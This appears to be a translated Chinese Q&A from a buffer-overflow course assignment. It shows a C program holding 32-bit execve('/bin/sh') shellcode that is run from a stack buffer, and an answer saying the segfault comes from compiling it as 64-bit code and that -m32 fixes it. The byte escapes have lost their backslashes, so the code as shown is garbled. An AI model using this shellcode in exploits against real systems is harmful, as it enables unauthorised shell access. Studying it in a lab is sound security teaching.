在缓冲区溢出分配中,我得到了一个C文件(call_shellcode.c
(,其中包含以下C代码的汇编版本,执行该版本可以打开shell:
#include <stdio.h>
#include <unistd.h>
int main(){
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
文件call_shellcode.c
中的代码为:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
const char code[] =
"x31xc0" /* xorl %eax,%eax */
"x50" /* pushl %eax */
"x68""//sh" /* pushl $0x68732f2f */
"x68""/bin" /* pushl $0x6e69622f */
"x89xe3" /* movl %esp,%ebx */
"x50" /* pushl %eax */
"x53" /* pushl %ebx */
"x89xe1" /* movl %esp,%ecx */
"x99" /* cdql */
"xb0x0b" /* movb $0x0b,%al */
"xcdx80" /* int $0x80 */
;
int main(int argc, char **argv)
{
char buf[sizeof(code)];
strcpy(buf, code);
((void(*)( ))buf)( );
}
我用命令编译了它:
gcc -fno-stack-protector -z execstack -o call_shellcode call_shellcode.c
当我执行它时,它显示分段错误。哪里出了问题?
这是使用32位int 0x80 ABI
的32位x86机器代码。
假设您使用的是普通的x86-64 Linux发行版,则将其编译为64位可执行文件,因此这些push imm32
指令解码为pushq,并且RSP位于虚拟地址空间的低32位之外。因此,int 0x80
将返回eax=-EFAULT
,执行将继续进入垃圾,从而导致segfault。
使用strace
或GDB可以看到这一点(尽管strace
在64位可执行文件中对int 0x80
的解码不正确,但它将正确显示返回值(。请参阅如果在64位代码中使用32位int 0x80 Linux ABI会发生什么?
使用gcc -m32 -z execstack ..
生成一个32位可执行文件,此机器代码将在其中工作。
使用下面的命令
gcc-z execstack-g-o call_shellcode call_shellcode.c